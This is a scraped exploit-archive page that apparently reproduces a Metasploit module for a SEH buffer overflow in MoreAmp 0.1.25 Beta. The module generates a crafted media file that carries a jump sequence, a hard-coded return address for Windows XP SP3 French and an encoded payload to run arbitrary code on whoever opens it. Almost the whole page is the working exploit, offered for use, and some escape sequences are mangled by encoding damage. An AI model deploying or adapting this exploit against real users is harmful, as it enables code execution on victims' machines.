MoreAmp SEH Buffer Overflow (meta)
<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>MoreAmp SEH Buffer Overflow (meta)</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>==================================
MoreAmp SEH Buffer Overflow (meta)
==================================
#MoreAmp Seh Buffer Overflow (meta)
#Greetz:His0k4 , Bibi-info , Volc4n0
#sec4ever.com
require ‘msf/core’
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
‘Name’ => ‘MoreAmp 0.1.25 Beta Buffer Overflow (SEH)’,
‘Description’ => %q{
This module exploits a SEH overflow in 0.1.25 MoreAmp Beta
By creating a specially crafted .m3u file, an an attacker may be able
to execute arbitrary code.
},
‘License’ => MSF_LICENSE,
‘Author’ => ‘MadjiX’,
‘Version’ => ‘Version 1′,
‘References’ =>
[
[ 'OSVDB', '65789' ],
[ 'URL', 'http://www.exploit-db.com/exploits/13942/' ],
],
‘DefaultOptions’ =>
{
‘EXITFUNC’ => ‘process’,
},
‘Payload’ =>
{
‘Space’ => 1400,
‘BadChars’ => "x00×20x0ax0d",
‘StackAdjustment’ => -3500,
},
‘Platform’ => ‘win’,
‘Targets’ =>
[
[ 'Windows XP SP3 Fr', { 'Ret' => 0x7C86467B} ], # 0×7C86467B jmp esp kernel.32
],
‘Privileged’ => false,
‘DisclosureDate’ => ‘17-07-2010′,
‘DefaultTarget’ => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'MadjiX.maf']),
], self.class)
end
def exploit
sploit = rand_text_alphanumeric(108)
sploit << "xebx06×90x90"
sploit << [target.ret].pack(‘V’)
sploit << payload.encoded
sploit << rand_text_alphanumeric(400 – payload.encoded.length)
maffile = sploit
print_status("Creating ‘#{datastore['FILENAME']}’ file …")
file_create(maffile)
end
end
# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-17]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13380

Leave a Reply